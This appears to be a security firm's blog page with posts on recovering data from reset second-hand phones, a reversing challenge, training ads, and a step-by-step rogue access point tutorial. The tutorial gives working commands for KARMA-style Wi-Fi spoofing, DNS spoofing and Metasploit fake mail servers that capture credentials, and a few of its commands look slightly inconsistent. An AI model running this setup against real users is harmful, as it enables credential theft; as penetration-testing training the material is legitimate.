Grey bar Blue bar
Share this:

Fri, 7 Feb 2014

Channel 4 - Mobile Phone Experiment


This evening we were featured on Channel 4's DataBaby segment (link to follow). Channel 4 bought several second hand mobile phones that had been "wiped" (or rather reset to factory default) from various shops. Our challenge was to recover enough data from these seemingly empty phones to identify the previous owners.


After a long night of mobile forensics analysis, we had recovered personal data from almost every phone we had been provided with. This information included:


  • Browsing history

  • Cookies (e.g. email and Facebook)

  • Contacts

  • SMS messages

  • Photographs

  • Address information

  • Personal documents


It would have been theoretically possible to use the cookies to impersonate the users - i.e. log in as the previous owners. We opted not to do this, as it was crossing an ethical line.

What's the lesson here?


Be very careful when selling your phone. It's fairly trivial to recover large amounts of data from mobile phones - and the tools to do so are freely available.

How can I protect myself?


This will depend on what type of phone you have, and specifically whether the data is encrypted, and if it is, if the key is recoverable. Unencrypted phones were easy game.


iPhone devices encrypt their data by default, which makes it hard (almost impossible) to recover data after performing a factory reset. There are some attacks against iPhones older than 4s which may have more success.


Android devices by default have no encryption, which means that somebody (like us) could easily recover large amounts of supposedly deleted data. It's a good idea to keep your phone encrypted.


Both Windows phone 8 and BlackBerry allow optional encryption to be configured, but this is not enabled by default. Windows phone 7 does not support encryption of the core filesystem.


If you have an existing phone that you're about to sell we'd recommend you encrypt the phone twice after resetting it to factory default (once to destroy your data, the second time to destroy the key used for the first round).


Keep in mind, this applies to all storage media - hard drives on laptops, camera memory cards, etc. It's largely recoverable, even when seemingly deleted.


We would like to thank Paolo Dal Checco (@forensico) and fellow SensePost'er Vlad (@v1ad_o) for their help during the experiment.


On a legal note, the experiment was conducted on a laptop with full disk encryption, and *all* data was deleted after returning the phones to Channel 4.

Mon, 20 Jan 2014

January Get Fit Reversing Challenge

Aah, January, a month where resolutions usually flare out spectacularly before we get back to the couch in February. We'd like to help you along your way with a reverse engineering challenge put together by Siavosh as an introduction to reversing, and a bit of fun.

The Setup


This simple reversing challenge should take 4-10+ hours to complete, depending on your previous experience. The goal was to create an interactive challenge that takes you through different areas of the reverse engineering process, such as file format reverse engineering, behavioural and disassembly analysis.


Once you reached the final levels, you might need to spend some time understanding x86 assembly or spend some time refreshing it depending on your level. To help out, Siavosh created a crash course tutorial in x86 assembly for our malware workshop at 44con last year, and you can download that over here.


The zip file containing the reversing challenge and additional bytecode binaries could be found here.


Send your solution(s) to challenge at sensepost.com

The Scenario


You've been called into ACME Banks global headquarters to investigate a breach. It appears Evilgroup has managed to breach a server and deploy their own executable on it (EvilGroupVM.exe). The executable is software that accepts bytecode files and executes them, similar to how the Java Virtual Machine functions. Using this technique, Evilgroup hopes they can evade detection by antivirus software. Their OPSEC failure meant that both the virtual machine executable and several bytecode files were left behind after the cleanup script ran and it's your job to work out the instruction set of EvilGroupVM.exe.


Disclaimer: When using the term "virtual machine" we mean something like the Java Virtual Machine. A software based architecture that you can write programs for. This particular architecture, EvilGroupVM.exe, has nine instructions whose operation code (opcode) you need to find through binary reverse engineering.


The tools you will require are:


  • A hex editor (any will do)

  • A disassembler like IDA (the free version for Windows will work if you don't have a registered copy)

  • A debugger, Olly or WinDBG on Windows, Gnu GDB or EDB on Linux https://www.gnu.org/software/gdb/


Basic Usage: Unzip the reverseme folder, open a command line and cd to it. Depending on operating system, type
Windows: EvilGroupVM.exe <BytecodeFile>
Ubuntu Linux: ./EvilGroupVM <BytecodeFile>

For example, to run the helloworld bytecode file on Windows, you would type:
EvilGroupVM.exe helloworld

IMPORTANT: Note that the EvilGroupVM.exe architecture has debugging capabilities enabled. This means, it has one instruction that shows you the thread context of a binary when it is hit. Once you start developing your own bytecode binaries, it is possible to debug them (but you need to find the debug instruction/opcode first).


The outcome of this exercise should include the following key structures in your report:


  1. A description of the binary file format. For example:

    • What does the bytecode file header look like?

    • What determines where execution will start once the bytecode is loaded in the VM?

    • Does the architecture contain other parts of memory (like a stack) where it can store data and operate on them?


  2. The instruction set including their impact on the runtime memory. You should:


    • Find all instructions that the EvilGroupVM.exe accepts

    • Analyse each of them and understand how they make changes to the runtime memory of the bytecodes thread


  3. Write a proof of concept self modifying bytecode file that prints your name to the screen. The binary must be self modifying, that is, you may not use the "print_char" instruction directly, rather, the binary must modify itself if it wants to make use of "print_char".

  4. For the advanced challenge, if you have the ability and time, send us back a C file that, when compiled, will give an almost exact match compared to EvilGroupVM (Ubuntu Linux) or EvilGroupVM.exe (Windows). Focus on getting pointer arithmetic and data structures correct.


In case you missed it earlier, the zip file containing the reversing challenge and additional bytecode binaries could be found here.


Send your solution(s) to challenge at sensepost.com


Good luck!

Fri, 22 Nov 2013

Mobile Hacking on the West Coast

December sees SensePost presenting Hacking by Numbers: Mobile at BlackHat West Coast Trainings. This course was first presented at BlackHat Vegas 2013 and 44Con 2013, growing in popularity and content with each iteration. For more information continue reading below or visit https://blackhat.com/wc-13/training/Hacking-by-Numbers-Mobile.html.


The mobile environment has seen immense growth and has subsequently seen organisations racing to be the first to market with the next best app. The rapid increase in mobile popularity and the speed at which developers are forced to produce new applications has resulted in an ecosystem full of security vulnerabilities. As more organisations are moving from web applications to mobile applications, penetration testers are required to adapt their testing methodology to keep pace with the changing platforms. Mobile applications developers have been lulled into a false sense of security due to the belief that "the platform will take care of the security". The Hacking by Numbers: Mobile course aims to help both penetration testers and mobile applications developers to find and understand common security vulnerabilities on a wide range of mobile platforms. The course teaches a mobile application security testing methodology that can easily be applied to mobile applications on Android, iOS, Blackberry and Windows Mobile.


Rather than focus on a specific mobile platform or a set of testing tools, the Hacking by Numbers Mobile course covers the following:


  • Android, iOS, RIM and Windows 8 Platform security

  • Communication protocols

  • Programming languages for mobile development

  • Building your own mobile penetration testing lab

  • Mobile application analysis

  • Static Analysis

  • Authentication and authorization

  • Data validation

  • Session management

  • Transport layer security and information disclosure


The structure of the course makes it ideal for testers and developers new to the mobile application security space, starting with the basic concepts of mobile security testing all the way through to decompilation, analysis and modification of mobile applications. As with all Hacking by Numbers courses, the mobile edition focuses on hands-on experience, with numerous lab exercises designed to provide students with practical experience to match the theory.Previous iterations of the course has seen real world applications being downloaded from the app store and common security vulnerabilities being identified.


Lab exercises include:


  • Finding and retrieving sensitive files.

  • Interception and Analysis of network traffic.

  • Runtime analysis of Application memory state.

  • Decompilation and static analysis of applications.

  • Runtime modification of application functions.
    And many more...


Training will be held from 11-12 December and more information can be found at https://blackhat.com/wc-13/training/Hacking-by-Numbers-Mobile.html.


Looking forward to seeing you all in Seattle!

Hacking by Numbers - The mobile edition

West Coast in the house, well actually more like an African visiting Seattle for Blackhat's West Coast Trainings.


We've had a great year delivering the latest course in our amazing Hacking by Numbers training series: Mobile. What's cool about this course, is like the others, we teach a hacking methodology rather than punting a tool or a magic, do it all solutions.


Mobile was created to match the continuous growth in mobile phone usage, with a specific focus on showing you how you would go about testing the mobile platforms and installed applications, to ensure they have been developed in a secure manner. HBN Mobile provides a complete and practical window into the methods used when attacking mobile platforms and presents you with a methodology that can be applied across platforms. This course is structured to cater to penetration testers who are new to the mobile area and who need to understand how to analyze and audit applications on various mobile platforms using a variety of tools.


Some of the material covered in the course includes:


  • Android, iOS, RIM and Windows 8 Platform security

  • Communication protocols

  • Programming languages for mobile development

  • Building your own mobile penetration testing lab

  • Mobile application analysis

  • Static Analysis

  • Authentication and authorization

  • Data validation

  • Session management

  • Transport layer security and information disclosure


The methodology presented is structured to allow testing to be performed on different mobile platforms and is demonstrated using both the Android and iOS platforms. Like all the HBN courses, the mobile edition focuses heavily on demonstration and hands-on practicals.



Blackhat Las Vegas 2013 saw the introduction HBN Mobile with two training sessions being presented. The course was well attended and consisted of students with varying degrees of mobile experience, however, the vast majority were new to Mobile application security and HBN Mobile provided the ideal launch pad for them. The great thing about the HBN series is that it accommodates people from all technical and security backgrounds. This held true with the Mobile edition, where we had reverse engineers, penetration testers, development managers, aerospace engineers and developers just to name a few. The feedback from the course was extremely positive and has been fed back into the course and used to improve it even further. Then we had the chance to give it to students over at 44Con in London and this again gave us a chance to take your feedback and make the course even better.


What's slightly different about this course is that you get to find flaws in common mobile applications available both in the Google Play and Apple App store. In addition, we have devices for you to use, so not everything is done in an emulator. As a result, students on the last course found common security vulnerabilities in numerous well known and popular applications.


On the 11th December in Seattle, I'll be delivering Hacking by Numbers: Mobile edition at Blackhat and I cannot wait to get on that plane. If you want to learn more about how to tear apart mobile apps, this is definitely for you. The regular price goes up on the 5th of December, so take advantage of this now and book your place.



Look forward to seeing you there.

Fri, 12 Jul 2013

Rogue Access Points, a how-to

In preparation for our wireless training course at BlackHat Vegas in a few weeks, I spent some time updating the content on rogue/spoofed access points. What we mean by this are access points under your control, that you attempt to trick a user into connecting to, rather than the "unauthorised access points" Bob in Marketing bought and plugged into your internal network for his team to use.


I'll discuss how to quickly get a rogue AP up on Kali that will allow you to start gathering some creds, specifically mail creds. Once you have that basic pattern down, setting up more complex attacks is fairly easy.


This is a fairly detailed "how-to" style blog entry that gives you a taste of what you can grab on our training course.


Preparation


First up, you'll need a wireless card that supports injection. The aircrack forums maintain a list. I'm using the Alfa AWUS036H. Students on our course each get one of these to keep. We buy them from Rokland who always give us great service.


Second, you'll need a laptop running Kali. The instructions here are pretty much the same for BackTrack (deprecated, use Kali).


For this setup, you won't need upstream internet connectivity. In many ways setting up a "mitm" style rogue AP is much easier, but it requires that you have upstream connectivity which means you have to figure out an upstream connection (if you want to be mobile this means buying data from a mobile provider) and prevents you from using your rogue in funny places like aeroplanes or data centres. We're going to keep things simple.


Finally, you'll need to install some packages, I'll discuss those as we set each thing up.


Overview


We're going to string a couple of things together here:


Access Point <-> routing & firewalling <-> DHCP <-> spoof services (DNS & mail)


There are several ways you can do each of these depending on preference and equipment. I'll cover some alternatives, but here I'm going for quick and simple.


Access Point


Ideally, you should have a fancy wifi card with a Prism chipset that you can put into master mode, and have (digininja's karma patched) hostapd play nicely with. But, we don't have one of those, and will be using airbase-ng's soft ap capability. You won't get an AP that scales particularly well, or has decent throughput, or even guarantees that people can associate, but it's often good enough.


For this section, we'll use a few tools:


  • airbase-ng (via the aircrack-ng suite)

  • macchanger

  • iw


You can install these with: apt-get install aircrack-ng macchanger iw


First, let's practise some good opsec and randomise our MAC address, then, while we're at it, push up our transmit power. Assuming our wifi card has shown up as the device wlan0 (you can check with airmon-ng), we'll run:

ifconfig wlan0 down
macchanger -r wlan0 #randomise our MAC
iw reg set BO #change our regulatory domain to something more permissive
ifconfig wlan0 up
iwconfig wlan0 txpower 30 #1Watt transmit power


Right, now we can set up the AP using airbase. We have some options, with the biggest being whether you go for a KARMA style attack, or a point-network spoof.

airmon-ng start wlan0 #Put our card into monitor mode
airbase-ng -c6 -P -C20 -y -v mon0& #Set up our soft AP in karma mode
#airbase-ng -c6 -e "Internet" -v mon0& #Alternatively, set up our soft AP for 1 net (no karma)


Airbase has a couple of different ways to work. I'll explain the parameters:


  • -c channel, check which channel is the least occupied with airodump

  • -P (karma mode) respond to all probes i.e. if a victim's device is usually connects to the open network "Internet" it will probe to see if that network is nearby. Our AP will see the probe and helpfully respond. The device, not knowing that this isn't an ESS for the Internet network, will join our AP.

  • -y don't respond to broadcast probes, aka the "is there anyone out there" shout of wifi. This helps in busy areas to reduce the AP's workload

  • -C20 after a probed for network has been seen, send beacons with that network name out for 20 seconds afterwards. If you're having trouble connecting, increasing this can help, but not much

  • -v be verbose

  • -e "Internet" pretend to be a specific fake ESSID. Using airodump and monitoring for probed networks from your victim, and just pretending to be that network (i.e. drop -P and -y) can increase reliability for specific targets.


If you're putting this into a script, make sure to background the airbase process (the &). At this point, you should have an AP up and running.


Routing & IP Time


There are lots of options here, you could bridge the AP and your upstream interface, you could NAT (NB you can't NAT from wifi to wifi). We're not using an upstream connection, so things are somewhat simpler, we're just going to give our AP an IP and add a route for it's network. It's all standard unix tools here.


The basics:

ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
echo '1' > /proc/sys/net/ipv4/ip_forward


This is good enough for our no upstream AP, but if you wanted to use an upstream bridge, you could use the following alternates:

apt-get install bridge-utils #To get the brctl tool, only run this once
brctl addbr br0
brctl addif br0 eth0 #Assuming eth0 is your upstream interface
brctl addif br0 at0
ifconfig br0 up


If you wanted to NAT, you could use:

iptables --policy INPUT ACCEPT #Good housekeeping, clean the tables first
iptables --policy OUTPUT ACCEPT #Don't want to clear rules with a default DENY
iptables --policy FORWARD ACCEPT
iptables -t nat -F
iptables -F
#The actual NAT stuff
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i at0 -o eth0 -j ACCEPT


Legitimate Services
We need to have a fully functioning network, which requires some legitimate services. For our purposes, we only really need one, DHCP. Metasploit does have a dhcpd service, but it seems to have a few bugs. I'd recommend using the standard isc-dhcp-server in Kali which is rock solid.



apt-get install isc-dhcp-server #Only run this once
cat >> dhcpd.conf #We need to write the dhcp config file
authoritative;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}^D #If you chose this method of writing the file, hit Ctrl-D
dhcpd -cf dhcpd.conf


Evil Services


We're going to cover three evil services here:


  • DNS spoofing

  • Captive portal detection avoidance

  • Mail credential interception services


DNS spoofing


Once again, there are a couple of ways you can do DNS spoofing. The easiest is to use Dug Song's dnsspoof. An alternative would be to use metasploit's fakedns, but I find that makes the metasploit output rather noisy. Since there's no upstream, we'll just spoof all DNS queries to point back to us.



apt-get install dsniff #Only run the first time :)
cat >> dns.txt
10.0.0.1 *
^D #As in hit Ctrl-C
dnsspoof -i at0 -f dns.txt& #Remember to background it if in a script


Captive Portal Detection Avoidance


Some OS's will try to detect whether they have internet access on first connecting to a network. Ostensibly, this is to figure out if there's a captive portal requiring login. The devices which do this are Apple, BlackBerry and Windows. Metasploit's http capture server has some buggy code to try and deal with this, that you could use, however, I find the cleanest way is to just use apache and create some simple vhosts. You can download the apache config from here.



apt-get install apache2
wget http://www.sensepost.com/blogstatic/2013/07/apache-spoof_captive_portal.tar.gz
cd /
tar zcvf ~/apache-spoof_captive_portal.tar.gz
service apache start


This will create three vhosts (apple, blackberry & windows) that will help devices from those manufacturers believe they are on the internet. You can easily extend this setup to create fake capture pages for accounts.google.com, www.facebook.com, twitter.com etc. (students will get nice pre-prepared versions that write to msf's cred store). Because dnsspoof is pointing all queries back to our host, requests for www.apple.com will hit our apache.


Mail credential interception


Next up, let's configure the mail interception. Here we're going to use metasploit's capture server. I'll show how this can be used for mail, but once you've got this up, it's pretty trivial to get the rest up too (ala karmetasploit).


All we need to do, is create a resource script, then edit it with msfconsole:



cat >> karma-mail.rc
use auxiliary/server/capture/imap
exploit -j


use auxiliary/server/capture/pop3
exploit -j


use auxiliary/server/capture/smtp
exploit -j


use auxiliary/server/capture/imap
set SRVPORT 993
set SSL true
exploit -j


use auxiliary/server/capture/pop3
set SRVPORT 995
set SSL true
exploit -j



use auxiliary/server/capture/smtp
set SRVPORT 465
set SSL true
exploit -j
^D #In case you're just joining us, yes that's a Ctrl-D
msfconsole -r mail-karma.rc #Fire it up


This will create six services listening on six different ports. Three plain text services for IMAP, POP3, and SMTP, and three SSL enabled versions (although, this won't cover services using STARTTLS). Metasploit will generate random certificates for the SSL. If you want to be smart about it, you can use your own certificates (or CJR's auxiliar/gather/impersonate_ssl). Once again, because dnsspoof is pointing everything at us, we can just wait for connections to be initiated. Depending on the device being used, user's usually get some sort of cert warning (if your cert isn't trusted). Apple devices give you a fairly big obvious warning, but if you click it once, it will permanently accept the cert and keep sending you creds, even when the phone is locked (yay). Metasploit will proudly display them in your msfconsole session. For added certainty, set up a db so the creds command will work nicely.


Protections


When doing this stuff, it's interesting to see just how confusing the various warnings are from certain OS'es and how even security people get taken sometimes. To defend yourself, do the following:


  • Don't join "open" wifi networks. These get added to your PNL and probed for when you move around, and sometimes hard to remove later.

  • Remove open wifi networks from your remembered device networks. iOS in particular makes it really hard to figure out which open networks it's saved and are probing for. You can use something like airbase to figure that out (beacon out for 60s e.g.) and tell the phone to "forget this network".

  • Use SSL and validate the *exact* certificate you expect. For e.g. my mail client will only follow through with it's SSL negotiation if the *exact* certificate it's expecting is presented. If I join a network like this, it will balk at the fake certificate without prompting. It's easy, when you're in a rush and not thinking, to click other devices "Continue" button.


Conclusion


By this point, you should have a working rogue AP setup, that will aggressively pursue probed for networks (ala KARMA) and intercept mail connections to steal the creds. You can run this thing anywhere there are mobile devices (like the company canteen) and it's a fairly cheap way to grab credentials of a target organisation.


This setup is also remarkably easy to extend to other uses. We briefly looked at using bridging or NAT'ting to create a mitm rogue AP, and I mentioned the other metasploit capture services as obvious extensions. You can also throw in tools like sslstrip/sslsniff.


If you'd like to learn more about this and other wifi hacking techniques, then check out our Hacking by Numbers - Unplugged edition course at Black Hat. We've got loads of space.


If you'd like to read more, taddong's RootedCon talk from this year is a good place to start.